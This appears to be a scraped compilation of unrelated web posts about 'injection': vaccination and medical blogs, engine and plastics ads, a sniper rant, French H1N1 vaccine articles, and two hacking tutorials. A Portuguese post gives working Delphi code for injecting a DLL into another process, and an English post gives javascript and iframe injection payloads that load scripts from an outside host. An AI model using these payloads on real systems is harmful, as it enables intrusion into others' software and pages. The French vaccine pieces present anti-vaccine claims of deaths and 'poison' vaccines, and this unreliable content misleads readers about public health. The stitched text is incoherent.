Firstly I would like to say “Ow!” Secondly I would like to say “Ouch!” Thirdly I would like to do some very offensive swearing. Yes, I had the swine flu vaccination yesterday afternoon and my arm now feels as though elephants have been punching it with their trunks whilst their trunks were curled around enormous tree trunks covered in nails.

There are other side-effects too. My chest  is apparently being sat upon by Fatty Arbuckle; my neck has been thrown down a very deep well shaft and is currently trying to crawl its way back up in order to get on with the job of preventing my head from being all floppy; there is a pain behind my left eye which hurts so much I am not entirely sure I haven’t been mistaken for a former king of England and stuck with a Norman arrow; and I feel close to tears over the slightest of things. Obviously I am almost entirely wrapped up in how dreadful I feel and wondering how long these effects will last, but there is a crumb of concern too for the others who were given the shot yesterday.

The letter from the doctor’s surgery said to come in any time between one and six in the afternoon. I thought I would be clever and get there pretty much at one and get it over and done with. Hmm, so clever that I had to join the queue along with some forty or fifty other folk. I have a ‘normal’ flu jab every year and ordinarily there are maybe two or three other people waiting to have their arms stuck with a pin too. The surgery yesterday was standing room only. I did begin to wonder if most of those who arrived after me were either blind or terminably stupid as, despite clearly being able to see that there was lots of standing space within the room, and having seen that there were more and more people arriving after them, many of them came into the room and stood blocking the doorway. Way to go – let’s fray everyone’s nerves that little bit more by causing an obstruction, shall we?

I’m probably being harsh. I know I was nervous – my wife will testify to that as I was in ‘cheeky schoolboy’ mode, the frame of mind in which I tend to act like a nine year old in public rather than the forty-something allegedly grown-up human I actually am. My mood was not helped by the inevitable chorus of frustrated moaning and the odd voice of misinformed doom and gloom: “I don’t even know why I’m bothering,” I heard one chap say to the person sitting next to him, “There’s already a new strain of the virus which is resistant to this vaccine anyway.” I love the way people spout such desperate ‘certainties’ which are in fact entirely apocryphal, don’t you?

Every couple of minutes somebody’s name would flash up on the digital display board, accompanied by the sort of buzz that I previously assumed was a television sound effect. One woman’s name did not trigger a responding walk to the inner door, through which the two over-worked nurses could be found armed with stabby jabby utensils. A minute or so later that name disappeared and was replaced by someone else’s, someone who spotted they’d been called and went on in for their shot. Maybe five minutes after that a woman came through from reception where she’d presumably been chatting to a friend. A large smiley man told the newcomer that she’d missed her name on the board. “No I haven’t,” she replied. “Yes it came up a few minutes ago,” he insisted. “Rubbish, I’ve only just got here,” she said. Mrs Planet then tried to back the smiley man up and repeated the name that had been on the screen. The woman was having none of it. I wonder if she is still sat in the surgery this morning waiting for her name to come up?

When my name was finally called I walked through, rolled up my sleeve, said “Ow,” as quietly as possible, and that was that. It did hurt more than my seasonal jab has ever done but part of me wanted to believe that was because the nurses were working that little bit faster than usual in order to get through everyone, and were possibly a tiny bit less gentle than they could be. For the rest of the day I was a bit sore on that side but not too bad. And then I woke up in the middle of the night, having rolled over onto the jabbed side at some point, and was in agony. My arm was numb, my neck and eye had begun to hurt and that’s when I noticed how tight my chest had become. Which made me panic and thus tighten my chest even more. I could not get comfortable after that and ended up downstairs on the sofa trying to stay as upright as possible as it seemed the only position which eased the aches and pains a little. I intend to spend most of today catching up on the sleep I didn’t really manage to get last night.

And this is where my concern comes in. I am forty-something and obviously not the fittest of folk otherwise I would not need to worry about the swine flu vaccination in the first place. But I am obviously fitter than quite a few of the mostly elderly people who were also having their shot yesterday. So if I am feeling rotten and miserable today, how on earth are those guys feelings? I do hope they have people with them to help get them through the next day or two while their bodies adjust to having this new stuff pumping through their immune system. And I hope they’ve chosen more uplifting reading material to while away the day. I had already begun to read ‘Hard Times’ by Charles Dickens. Well done, Planet Boy, forward thinking there. Oh well, at least it isn’t ‘Love in the Time of Cholera’.

Hyundai has unveiled its first ever petrol-powered direct injection engine.

Known as the Theta II GDI, the 2.4-litre 4-cylinder unit is the product of 46 months of research and development and expenses of more than 170 billion won (AUD$160 million).

The ideology for the new engine was simple: lower emissions, raise power output, improve fuel economy.

And Hyundai Australia sales and marketing director, Kevin McCann, is impressed with the final result.

“The Theta II GDI convincingly demonstrates our parent company’s advanced powertrain engineering capabilities,” he said.

With a compression ratio of 11.3:1, the new engine delivers 150kW at 6300rpm and 245Nm at 4250rpm.

A mechanism allowing the catalytic converter to reach its optimum working temperature faster reduces emissions from cold starts by 25 per cent.

The Dual Continuously Variable Value Timing (DCVVT) of the split-injection system also lowers emissions and increases power.

Hyundai will debut the Theta II in the first half of 2010 in the all-new mid-sized sedan codenamed YF – the vehicle expected to replace the current Sonata – before being expanded into other models.

by Tim Beissmann

A first release candidate for the OWASP Top 10 2010 was released a while ago. In my view the best enhancement is the new design of document.

As I worked on some short executive summaries for my company, I always struggled how to get a lot of information in the shortest form possible. The new OWASP Top10 PDF design is kind of perfect for this matter.

Document (Download as PDF):

Been at the dentist this morning.  Booked in to have 2 small fillings on the top and 1 larger filling (to replace an old one at the bottom).  I haven’t had much tooth ache but the bottom one is especially sensitive to hot / cold and needed to be looked at.

On further inspection I needed 2 fillings at the bottom, which the dentist descibed one as ” a massive cavity” Blimey!  So, 3 injections later my whole mouth, chin, lips and nose is now numb…. It turns out that the old filling was hiding a big hole underneath and this mornings investigation ended up being a full on deep drill right to the nerve.  At some point, could be 6 days, 6 months or 6 years it’s going to need a root canal.  Brilliant.

Much flossing and brushing is needed for the future of my teeth, but for now I’m just a little bit dribbly and slury – for the next 4 to 6 hours.

I had to go for my injection today. Every twelve weeks the same routine. Down to my local health centre to see the nurse, who warms the precious phial before injecting its contents slowly* into my buttock. Perhaps you wince at the image but it has long since become as ordinary to me as praying five times a day is to a devout Muslim – and, let’s face it, compared to five times a day, once every twelve weeks isn’t onerous.

The injection used to be required more frequently  – once every three weeks – and in those days i used to do it myself at home. This had the advantage of autonomy. I didn’t have to depend on someone else or worry about getting through on the (perpetually jammed) health centre appointment line. On the other hand, it was also nerve-wracking. I never came fully to terms with sticking a needle into my body – it wasn’t the pain, of which there’s very little due to the lack of nerve endings in that part of your body; but more an anxiety, an awareness that if something did go drastically wrong there would be nobody there to help me.

It was also lonely. As a trans man i get by in the world via a mixture of bravado and silence; yet inevitably there are times when i become anxious or depressed. One of the things i appreciated when i switched medications and had to return to attending the health centre for my injection was the chance to chat with the nurse. It’s funny: on the one hand i resent the way in which transitioning has permanently medicalised my life, but on the other i quite enjoy the attention. Nurses, especially the ones attached to health centres, are almost always a joy to talk to. There’s something about the job of nursing which self-selects the most positive, practical and pragmatic individuals; and just being in the company of such people is uplifting.

My nurse today was called A. It was the first time I’d had an appointment with her and I had thought from her name that she might be from francophone Africa. As it turned out she is indeed African, but South African – an Afrikaner to be exact – with a lovely, lilting accent which blew all my assumptions about Afrikaans-speakers (harsh, guttural, etc) out of the water. Accents aside, what struck me about A was her warmth, energy and good humour. You would think working at a busy health centre would reduce even the most dedicated nurse to a drone but not so; she was the most enthusiastic person i’ve met in a good while.

After just ten minutes the injection was over and done with and i was on my way to work. The leg on the side where i’d been injected was aching slightly as usual but my tolerance for the rest of the human race was much improved. One person speaking to you kindly, smiling at you when they greet you, asking you how you feel: these things really do make a difference.

* Over a period of one minute to be exact. Apparently, if it goes in too fast it can cause an asthma attack.

MDI is known for its outstanding custom plastic molding services, MDI combines its unique knowledge of materials, applications and various molding processes (dip, compression, injection and transfer molding) with the latest technology and most importantly a can do attitude to solve our customers’ most complex problems.

MDI has over thirty years experience in custom vinyl Plastisol dip molding services.  Our skilled production staff utilizes in-house automatic and manual systems to provide quality molding of vinyl Plastisol or PVC, with fast turn-around times assured.  We use only the highest quality materials, including those, which meet MIL specifications and have FDA approval. A wide range of colors is available in finishes from high gloss to dull matte. All secondary operations are performed in-house including silk-screening, pad printing, hot stamping, assembly services, piercing, slitting, die cutting and packaging. We can provide custom shapes in any quantity. Our unique mold-making techniques allow us to tailor the molds to fit your needs.

From prototypes to low or high volume production runs, MDI delivers quality service at competitive prices.

 For a fast competitive quote, send sample part or part drawing along with color, thickness and quantity requirements.

MDI is the gold standard in plastic dip and rubber molded products for the OEM marketplace. MDI offers a full line of protective, masking and sealing devices including caps, plugs, grips and covers.

MDI
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www.moldeddevices.com

A Cetane number is a measure of the fuel’s ignition delay, which is the time between the start of injection and the start of combustion (ignition) of the fuel. In a particular diesel engine, higher Cetane fuels will have shorter ignition delay periods than lower Cetane fuels. Cetane numbers are only used for the relatively light distillate diesel oils. For heavy (residual) fuel oil two other scales are used CCAI and CII.

Generally, diesel engines run on a Cetane number from 40 to 55. Fuels with higher Cetane number, have shorter ignition delays, and provide more time for the fuel combustion process to be completed. Hence, higher speed diesels operate more effectively with higher Cetane number fuels. There is no performance or emission advantage when the Cetane number is raised past approximately 55. After that point, the fuel’s performance hits a plateau.

Most states adopt ASTM D975 as their diesel fuel standard and the minimum Cetane number is set at 40, with typical values in the 42-45 range. Premium diesels may or may not have higher Cetane, depending on the supplier. Premium diesels often use additives to improve Cetane number.

Orange County Diesel recommends Dr. Performance Cetane Boost R! We have single 10oz. bottles that will treat 35 gallons of fuel. Or pick up a 6 pack of the single 10oz. bottles that will treat 210 gallons of fuel. Dr. Performance’s special formula of Cetane Boost R gives you added Horsepower and Torque, and most importantly 10+ points of Cetane improvement!

When I first realized I was abused as a child I did not tell anyone. I kept it secret from my family, friends and myself. I thought that maybe if I just do not acknowledge the idea that it will just go away. I tried that for while, I did everything left my house, distracted myself, self-harm and then finally suicide. This is when I ended up at a general psych unit for the first time.

I was having bad nightmares, flashbacks about it at first. I had no idea what they were, but everyone else around me knew. I worked with a MSW individually while on the unit, because I would not talk to anyone.

After a few days the therapist said, “Do you see how bad something wants to come out, just let it out, it’s ok”.

Sometimes words just cannot explain. I did not actually verbalize the words “I was abused” but I just said mangled words that somehow formed a sentence. After that, treatment team said that I should tell my parents. I trusted the therapists’ words so I said okay. The day before the meeting with my parents, I felt like I was being backed into a corner. I freaked out.

 After I woke up from my IM induced nap, I was on 1:1. I told the MSW that I could not tell them. She asked me if she could tell them without me in the room, and I said okay.  

The next time I saw my parents they acted like everything was perfect, there was no talking about anything. I was so hurt by that, they just learned I was abused and they acted, as it was never said. That is when I knew that nothing was okay.

My family says that they did not like the way in which I told my secret to them. They said I told them the “wrong way” because it did not come out of my mouth. My mother said that I could have picked a more “mature” way to tell them.

For a long time, I felt bad about having the MSW tell them. However, I do not think any way I could have chosen would have been the “right way” in their eyes. I told them the only way I could. I could not even tell myself so how could I tell anyone else.

I think that telling my secret has changed my life. Nevertheless, I know it changed my families’ life. I was no longer following the rules. I was now the black sheep.

Black is a good color on me

Good news!

We had our first girl-power mixer for the RubyFeather Social Club last night and it was AWESOME. I never met so many  women who I would totally love to be friends with. It was wonderful to hear the stories of others and share strengths and support. I believe that everyone left energized and hopeful, really feeling this if they had sisters on the journey toward motherhood.

In addition to that I can proudly say I DID IT!  I gave myself the menopur shot this morning. Yes, I was still sweating and a little nervous, but I played some Joss Stone tunes and did a little power dance before I plunged the needle in my belly. Hooyah! I can’t believe it, but I felt EMPOWERED! I had control over something for once. I think I am going to take the syringe away from my husband, and do it myself more often.

On a funny note, the Bear left me the HCG needle instead of my teenie 30 gauge one. I was mixing the solution and getting ready to add the needle when I thought- Cruel joke! What was he trying to do? Kill me???? Once I found an appropriate sharp (a wee dwarf of the HCG needle,) it seemed like child’s play.

A big thank you and cyber hug to everyone who has left me a comment. IT’S HELPING!!!!!

Go ladies go! Let’s make some cute babies around here!

Visto que é algo muito util e um pouco complicado estarei postando como fazer passo a passo.
Então vamos começar.

Dica:
Para quem não esta acostumado e sequer sabe sobre manipulação de memória recomendo que de uma boa lida em artigos sobre manipulação de memória para que haja uma facilidade de entendimento ao seguir a leitura do tutorial.

O que é Code Injection?
Code injection nada mais é do que injetar uma DLL e fazer com que o processo remoto execute a tal função.
Para fazer isso precisaremos de uma DLL que a função em seja exportada
Ex:no delphi o fim do código seria

exports
FazerExitProcess;

Outro detalhe importante é que precisaremos de privilégios necessários.Para evitar quaisquer eventuais problemas, definiremos o privilégio como o de debug e tambem depois de executada a rotina, não temos mais porque deixar os parametros utilizados na execução da mesma no target, isso só iria ocupar espaço, então nós liberaremos toda a memória escrita no processo remoto.

Preparando um Code Injection

Antes de mais nada precisaremos de uma estrutura para os parametros do nosso Code Injection então declare
a seguinte type no seu form.

type
TInjectParams = record
LoadLibrary: function (lpLibFileName: PAnsiChar): Cardinal; stdcall;
LibName: PAnsiChar;
GetProcAddress: function (hModule: Cardinal; lpProcName: PAnsiChar): Pointer; stdcall;
ProcName: PAnsiChar;
end;
PInjectParams = ^TInjectParams;

Com essa estrutura,o usuário no final do code injection só precisará de pegar o Process ID(PID) do processo,Portanto declare na uses da sua unit a biblioteca TlHelp32 e nas funções declare a seguinte função.

function GetProcess(proc: string): Cardinal;
var
Snap: THandle;
pe: TProcessEntry32;
begin
Snap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if Snap = 0 then Exit;
if Process32First(Snap,pe) then
begin
repeat
if proc = pe.szExeFile then
begin
Result:=pe.th32ProcessID;
break;
end;
until not Process32Next(Snap,pe)
end
end;

Como ja foi dito,nos precisaremos de escrever na memória do processo remoto,portanto é necessário alocar a memória para a escrita,para facilitar vamos declarar as funções.

function WriteString(Process: Cardinal; s: string): Pointer;
var
bytes: Cardinal;
begin
Result:=VirtualAllocEx(Process, nil, length(s) + 1, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Process, Result , pchar(s), length(s) + 1, bytes);
end;
function WriteData(Process, dwSize: Cardinal; RemoteData: pointer): pointer;
var
bytes: Cardinal;
begin
Result:=VirtualAllocEx(Process, nil, dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Process, Result, RemoteData, dwSize, bytes);
end;

Com quase tudo pronto nós precisaremos de uma função para executar o código no processo remoto então declare mais essa função também.

procedure RemoteFunction(Parametros: PInjectParams); stdcall;
var
proc: procedure; stdcall;
begin
proc:=Parametros^.GetProcAddress(Parametros^.LoadLibrary(Parametros^.LibName),Parametros^.ProcName);
proc;
end;

Agora precisaremos de um método para saber o tamanho dessa rotina descrita acima, pois na hora de escrevê-la no target é necessário por o tamanho. Para isso faremos outro método logo abaixo desse, e depois é só pegar o endereço dele e subtrair do endereço da rotina “RemoteFunction”.
Então declare o procedimento :

procedure RemoteFunctionEnd; stdcall;
begin;
end;

E como ja foi dito nos preciaremos de privilégios de DEBUG então declare a função.

procedure ChangePrivilege(szPrivilege: PChar; fEnable: Boolean);
var
NewState: TTokenPrivileges;
luid: TLargeInteger;
hToken: THandle;
ReturnLength: DWord;
begin
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken);
LookupPrivilegeValue(nil, szPrivilege, luid);

NewState.PrivilegeCount := 1;
NewState.Privileges[0].Luid := luid;
if (fEnable) then
NewState.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
NewState.Privileges[0].Attributes := 0;

AdjustTokenPrivileges(hToken, False, NewState, SizeOf(NewState), nil, ReturnLength);
CloseHandle(hToken);
end;

Pronto, agora só falta montar a função final, mas depois de tudo isso, para quem realmente entendeu a lógica fica fácil.

pprocedure Inject(process, dll, code: string);
var
PID, hProcess, ThreadId, ThreadHandle: Cardinal;
RemoteData,RemoteFunc,LibFileName,ProcName: pointer;
Parametros: TInjectParams;
begin
//Pega o Handle do processo
PID:=GetProcess(Process);
//Seta o privilégio de debug
ChangePrivilege(’SeDebugPrivilege’, True);

//Abre o processo
hProcess := OpenProcess(PROCESS_ALL_ACCESS, False, PID);

//Define os parâmetros que serão usados para executar a procedure
LibFileName:=WriteString(hProcess, dll);
ProcName:=WriteString(hProcess, code);
Parametros.LoadLibrary:=GetProcAddress(GetModuleHandle(’kernel32′), ‘LoadLibraryA’);
Parametros.LibName:=LibFileName;
Parametros.GetProcAddress:=GetProcAddress(GetModuleHandle(’kernel32′), ‘GetProcAddress’);
Parametros.ProcName:=ProcName;

//Abre um novo espaço de memória para guardar os parâmetros
RemoteData:=WriteData(hProcess, sizeof(Parametros), @Parametros);

//Abre um novo espaço de memória para guardar a procedure
RemoteFunc:=WriteData(hProcess, integer(@RemoteFunctionEnd) – integer(@RemoteFunction), @RemoteFunction);

//Cria a thread que executará a procedure
ThreadHandle:=CreateRemoteThread(hProcess, nil, 0, RemoteFunc, RemoteData, 0, ThreadId);
WaitForSingleObject(ThreadHandle, 3000);

//Libera as alocações de memórias criadas
VirtualFreeEx(hProcess,LibFileName,0,MEM_RELEASE);
VirtualFreeEx(hProcess,ProcName,0,MEM_RELEASE);
VirtualFreeEx(hProcess,RemoteFunc,0,MEM_RELEASE);
VirtualFreeEx(hProcess,RemoteData,0,MEM_RELEASE);
end;

Agora chegou a parte que você ira realizar o code injection.
Como ja foi dito precisaremos de uma DLL com uma função que seja exportada então salve todo o seu projeto e crie um novo projeto de DLL.vou mostrar como ficou a minha dll de testes

library testdll;
uses
Windows,
SysUtils,
Classes;

{$R *.res}

procedure MsgBox;
begin
MessageBox(0,’Funcionou’,’Code Injection bem sucedido’,MB_OK+MB_ICONINFORMATION);
end;
exports
MsgBox;
begin
end.

Então agora é só no seu projeto do Injector você usar a função.

Inject(‘notepad.exe’,'C:\Dev\CodeInjection\testdll\testdll.dll’,'MsgBox’);

Agora pra quem não entendeu direito,ou não quer nem ler e quer tudo pronto eu coloquei um link com a source do injector e da testdll
http://www.4shared.com/file/101714263/63913ea/CodeInjection.html

Créditos: R0DR1G0.

Les effets secondaires du VACCIN
Contrairement � ce qui est annonc� dans les principaux m�dias, certains d�c�s attribu�s au virus H1N1 ne le sont pas(1). Par contre, des informations concernant de s�v�res effets secondaires imput�s au vaccin contre la grippe A/H1N1 commencent � arriver ici et l� dans le monde.

Au Texas, des personnes ayant des effets secondaires jamais vus auparavant appellent directement le Centre Anti-poison local(2).

Au Mississippi, 9 lyc�ens partent pour l�h�pital apr�s avoir re�u l�injection dont un est dans un �tat tr�s grave et son statut est inconnu(3).

En Allemagne, une personne de 30 ans a �t� la premi�re victime � subir des complications telles que des vertiges, des secousses, une respiration irr�guli�re, une perte de connaissance et puis la mort(4).

En Su�de, alors que 4 d�c�s d�s au vaccin �taient annonc�s la semaine derni�re(5), c�est maintenant un �tudiant qui a �t� hospitalis� directement apr�s l�injection(6). Pour information, les victimes su�doises ont re�u le PANDEMRIX de GSK(7), un des vaccins pr�vu en France.

En Norv�ge, 29 personnes ont des effets secondaires s�v�res comme des vertiges, des naus�es, des engourdissements, une perte du go�t et de la perception d�odeur apr�s l�injection du PANDEMRIX(8).
Dans ce contexte, des personnalit�s politiques et responsables s�expriment en Europe. En Pologne, le ministre de la sant� refuse d�acheter des produits aux laboratoires pharmaceutiques internationaux qui gardent des informations secr�tes sur leurs vaccins(9). En Finlande, le ministre de la sant� affirme que le vaccin est dangereux(10).

En France, des actions de r�sistance civile aux vaccins-poisons se multiplient, notamment � Nantes(11), alors que la campagne de vaccination d�marre.

NOTE�: La vid�o de cette article a �t� rejet�e et censur�e par Dailymotion.

Muhammad, the DC killer is dead tonight while his boyfriend MILIK MUHAMMAD rots in a jail cell at 24 and has been there he was captured with the mastermind Muhammad when he was 17 year-old. Ridiculous and to top it all off Milik is probably illegal.

So read about his non-remorseful time facing the grim reaper. He’s a jerk and that kid should face the same fate. All those people they killed while they laughed at them should be able to pull the switch on them now (not that they necessarily would after going through the process) but I just hope I don’t see his ugly sorry mug around the perimeter of my house. I’m going to have to find a way to kill his soul and that is way out of my jurisdiction.

—-Bonju Patten

Hello everyone,

Today I’m going to teach you how to ethically hack a website. The basic idea behind this is the use of IFrames. This is how to ethically hack a website using IFrame Injection 1. You must get the following code some how (by using toolbar to inject and forcefully write it into the code or some) into the website:-

<script src='http://yourwebsite/hacking/iframeinject/js1.js'></script>

Then the next step is to programming this JavaScript file. Type the code as follows (this is not needed to be typed into a file! you can directly run this in the browser! check below):-

// Script for hack start, this code is meant for ethical hacking and is retreived from http://ethicalhacking2009.wordpress.com/

var iframehack = "<iframe src='http://yourwebsite/hacking/iframeinject/html1.html'></iframe>";

document.body.innerHTML += iframehack; // or // document.write(iframehack);

// Script end for hack

The next step is to programing the HTML file:-

<script src="http://yourwebsite/ehack/inframeinject/js1.js"></script>
<input type="text" id="txt" value="alert(window.parent.document.title); // Gets title of the window outside">
<br /><br />
<button onclick="exec();">Try out</button>

The next step is to program the JavaScript file linked to the HTML file:-

// Script for hack start, this code is meant for ethical hacking and is retreived from http://ethicalhacking2009.wordpress.com/

function geTitle() { alert(window.parent.document.title); }

function exec()    { eval(document.getElementById("txt").value); }

// Script end for hack

This will now show that the website is hacked and there is no easy way to remove the hack other than rolling back the way to did it!

This injection can also be used to run the same on Chrome as well as Mozilla Firefox! To run javascript commands on a page in Chrome or Mozilla Firefox you must type “javascript:<command>” and the same command will be executed in the page on the browser!

First goto “http://www.dotpdn.com/downloads/pdn.html” and do nothing. You have to type the following commands in the address bar in the browser on the page where the link is opened:-

1>

javascript:var iframehack = "<iframe src='http://yourwebsite/hacking/iframeinject/html1.html'></iframe>";

2>

javascript:document.body.innerHTML += iframehack;

Done! Your work is done! The page will load again and the page will have an hidden IFrame! This IFrame will fetch data from your website and then run the hack.

Please NOTE: this hack does also work on Facebook pages!

Live example is there using “http://www.surfpops.com/ehack/inframeinject/html1.html” and “http://www.surfpops.com/ehack/inframeinject/js1.js“. The following code and be used to use the links above:-

1>

javascript:var iframehack = "<iframe src='http://www.surfpops.com/ehack/inframeinject/html1.html'></iframe>";

2>

javascript:document.body.innerHTML += iframehack;

Done! Now your real hack is working!

Hack DOESN’T WORK IN CHROME! Chrome has high tight security thus we cannot use this hack in Chrome due to blockage of the property “window.parent” from the IFrame!

Thanks,

Akshit Soota

Acrylic is the kind of polymer which has been taken from monomer methyl methacrylate. It absolutely was created more than only seventeen years age. The operate of this material includes impact resistance, soften flow, color ability, and controlled characteristics. Acrylic graded possesses a co monomer that is mixed up at the season of polymerization to facilitate flow for injection plus extrusion. Here graded are formulated to perform the task of heat resistance plus high impact strength. These days, acrylic is used in health care plus medical applications because of its processed and assembled nature.
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Rendons à César ce qui lui appartient. Nous devons nous incliner bien bas de respect et d’admiration devant une des plus impressionnante campagne de relation publique menée au Québec. Ce n’est plus qu’une simple campagne de vaccination que nous vivons, mais bel et bien un moment historique hors pair. Tel qu’annoncé partout dans les médias du Québec, nous sommes témoins de LA plus grande campagne de vaccination de l’histoire du Québec, un évènement à célébrer, un moment historique magique à vivre. D’ailleurs, apparemment que le comité qui rédige le Livre de record Guinness ait été contacté pour homologuer ce record inédit qui nous rend si fier.

Bien que le gouvernement du Québec se disait inquiet des très bas taux d’intention des gens de se faire vacciner il y a quelques semaines, ce problème est dorénavant chose du passé grâce à cette campagne de relation publique du tonnerre. Il aura suffit de montrer à la population toujours proie facile de la peur et la panique quelques images d’un jeune garçon de 13 ans qui aurait été foudroyé par le virus H1N1. Génial. Peut importe si le garçon n’était pas réellement mort du virus H1N1, mais bien d’une méningite, comme le rapportait le Dr Alain Poirier quelques jours plus tard, lors de l’émission 24 heures en 60 minutes, animée par Anne-Marie Dussault.

Superbe travail encore une fois de la part des médias qui ont été rapides pour semer la panique, mais bien lents à rectifier la réelle cause de la mort. Peut importe, comme le disait le père des relations publiques et de la publicité, Edward Bernays, on ne convainc pas les gens avec des discours rationnels, mais bien par les émotions, ce qui est de loin le plus efficace. Un coup l’image imprimée dans l’esprit des gens, entourée d’une aura de peur et de panique, même une admission de la part des médias que le garçon n’était pas mort du H1N1, mais bien d’une méningite, n’arrivera pas à déloger la première impression qui est pourtant fausse.

Résultat: plus de 80% de la population québécoise dit maintenant vouloir se faire vacciner. Cela ne s’appelle pas du contrôle des masses, mais bien une campagne de protection de la population par des autorités extrêmement soucieuse de notre santé. Nous devrions en être reconnaissant. Devant l’ennemi, nous devons être des patriotes et prendre une injection au nom de la nation, peut importe nos soucis et préoccupations concernant l’innocuité de ces vaccins.

De toute façon, merci encore une fois aux médias et aux autorités, nous savons maintenant que la question de l’innocuité et de l’efficacité des vaccins A/H1N1 est réglée une fois pour toute. Si on nous dit qu’ils sont sécuritaires et la seule façon de combattre le virus extrémiste, nous devrions nous la fermer et faire tout ce que les autorités nous disent de faire.

Qui suis-je pour décider de ma propre santé et celle des autres? Je ne suis pas un médecin, ni un expert. Je n’ai pas un mot à dire concernant ce qui entre dans mon corps. Si le gouvernement et l’OMS disent qu’il y a urgence, il est bien normal que le bien public passe en premier de tout, quitte à devoir injecter des substances toxiques dans mon corps, sans mon consentement et octroyer des pouvoirs inédits aux autorités, allant même jusqu’à contrevenir à la Charte des droits et libertés. C’est pour notre bien, pour nous protéger. C’est par amour des autres qu’on doit prendre une chance de jouer à la roulette russe avec sa santé. Il serait bien narcissique, ultra individualiste et égoïste de refuser. Et j’aime jouer. Surtout qu’avec les vaccins H1N1, nous avons 14 fois plus de chance de gagner qu’à la 6/49! On peut se mériter un superbe syndrome Guillain Barré à cette loterie toute spéciale. À gagner: effets secondaires RARES dû à des ingrédients de vaccin que les autorités ont approuvés.

En fait, la question cruciale dont on devrait tous se préoccuper jour et nuit est de savoir comment mettre les mains sur une de ces doses de super protection contre le virus envahisseur. Mais Yves Bolduc, a déclaré qu’il n’y aurait plus de passe droit au Québec, il faudra attendre son tour. À nous de gérer notre sentiment d’insécurité si on a la sensation de rareté des vaccins et d’avoir à attendre son tour. C’est un mal pour un bien; cela augmente notre désir d’avoir notre dose. Notre tour viendra. C’est comme si c’était « une chance », de gagner le gros lot. L’effet de « rareté » est donc une autre superbe facette de cette campagne de vaccination (la plus grande de l’histoire du Québec, faut-il le répéter). Peu importe que le Globe and Mail ait révélé que des millions de doses du vaccin H1N1 dorment dans des entrepôts.

Et des chanceux, il va y en avoir. Rien à voir, cependant, avec le fait qu’on vaccine les gens depuis environ deux semaines puis que tout d’un coup, comme par enchantement, les urgences sont débordées de cas de grippe H1N1. Ne soyons pas paranoïaques et comme les complotistes, que nous suspectons d’ailleurs d’être des extrémistes affiliés avec l’Al Qaïda.

Si vous entendez de la bouche d’un de ces extrémistes anti-vaccins que les effets secondaires du vaccin H1N1 commencent à sortir suite aux débuts de la vaccination de masse, nous pouvons nous rassurer car les autorités nient que le vaccin puisse être en cause. Ils nous expliquent que c’est le virus A/H1N1 qui tue, puisque le vaccin n’est pas effectif avant au moins 10 jours. Cela n’est pas une raison de croire que c’est une manière de masquer les effets dévastateurs qui pourraient survenir après vaccination.

Ne croyez pas à tout ce qui est écrit sur Internet. Ce n’est pas parce qu’on vous montre des vidéos YouTube d’une jeune meneuse de claques, par exemple, qui a eu des effets secondaires graves après la vaccination contre la grippe, que cela signifie que ce sera pareil pour nous ou que ce soit réellement relié aux vaccins. Notre confrère a dû se méprendre lui aussi; il n’y a certainement pas lieu de s’inquiéter.

Il faut le faire pour protéger la santé des autres.

Ce n’est pas les morts et les effets secondaires qui se multiplient en Suède qui vont nous arrêter dans cette campagne historique de vaccination de masse dont nous sommes si fiers.

Nous devons aussi souligner l’effort extraordinaire que cette centaine d’employés d’un centre d’hébergement ont déployé pour la protection du public, en dépit d’avoir été victimes d’une erreur dans la préparation du vaccin qu’ils ont reçu qui contenait deux doses d’adjuvant. Deux fois plus de squalène que la dose admise. Sans broncher, ces employés seront revaccinés avec le mélange adéquat pour protéger leur santé et celles des autres.

L’erreur est humaine. C’est exactement ce que les onze enfants de l’Ontario qui ont reçu le double d’une dose recommandée de vaccin H1N1 par une infirmière devront comprendre. Cette dernière continue toujours à ce jour de “protéger” la population.

Voilà que de bonnes nouvelles.

Et il a été confirmé, une fois qu’il a été documenté que ce virus A/H1N1 avait un taux très bas de mortalité, que l’OMS a changé sa définition d’une « pandémie » au mois de mai 2009, pour laisser tomber le besoin d’avoir un haut taux de mortalité et ainsi déclarer la pandémie de toute façon un mois plus tard, en juin. Et oui, cela leur donne le pouvoir de donner des ordres aux autorités de la santé de tous les pays membres de l’ONU pour des vaccinations obligatoires avec des amendes punitives et des quarantaines pour les extrémistes anti-vaccins. Mais ce n’est que par amour, pour nous forcer à protéger notre santé. Quel autre motif un organisme comme l’OMS pourrait possiblement avoir? Au lieu d’être parano, on devrait être plein de gratitude, cesser tout ce questionnement et faire tout ce qu’ils disent.

Et lorsqu’en janvier dernier, un manufacturier officiellement désigné pour fabriquer des vaccins contre le H1N1 admettait avoir fait une erreur ayant résulté en la production et livraison de larges quantités de matériel pour fabriquer des vaccins contre la grippe saisonnière qui s’était avéré mortel dans des tests sur animaux et contenait des virus vivants hautement contagieux, cela n’était qu’un exemple isolé d’une erreur. Il n’y a absolument rien là d’inquiétant. Il n’y a pas de temps à perdre pour se demander comment une telle « erreur » a pu se produire sous le protocole de sécurité le plus avancé qui existe, mis en place exactement pour rendre ce type d’erreur complètement impossible. On fait tous des erreurs, n’est-ce pas? Pardonner et oublier. Je suis certain que rien de tel ne se reproduira.

D’accord, peut-être bien que les gouvernements ont octroyé une complète immunité juridique aux manufacturiers pharmaceutiques, les protégeant de toutes poursuites judiciaires en cas de dommages et d’effets secondaires indésirables, les ont laissé utiliser des additifs non testés et les ont exemptés des tests usuels d’innocuité. Mais ils ne prennent de tels risques que parce qu’ils nous aiment tellement et qu’ils veulent se précipiter pour nous protéger contre cet horrible virus de l’influenza terroriste que la vaste majorité du monde prend quelques jours d’inconfort pour s’en remettre.

Si le seul moyen de nous protéger est de nous exposer à tous ces ingrédients qui peuvent nous endommager de façon permanente et même nous tuer, et bien, les autorités ne vont pas laisser ces inquiétudes pour la vie humaine être dans le chemin de notre protection. On est prêt à prendre la chance de nous rendre malade et nous tuer pour nous sauver la vie.

Alors, quelle différence cela fait-il de savoir ce qu’il y a dans ces vaccins ou pas; ou s’ils ont été testés ou pas? L’important est d’avoir une entière confiance envers le gouvernement pour prendre soin de nous.

Cela rend humble de savoir que tant de personnes puissantes sont si intensément concernées à propos de notre santé et notre bien-être qu’ils ne laisseront aucune loi les empêcher d’assurer notre protection.

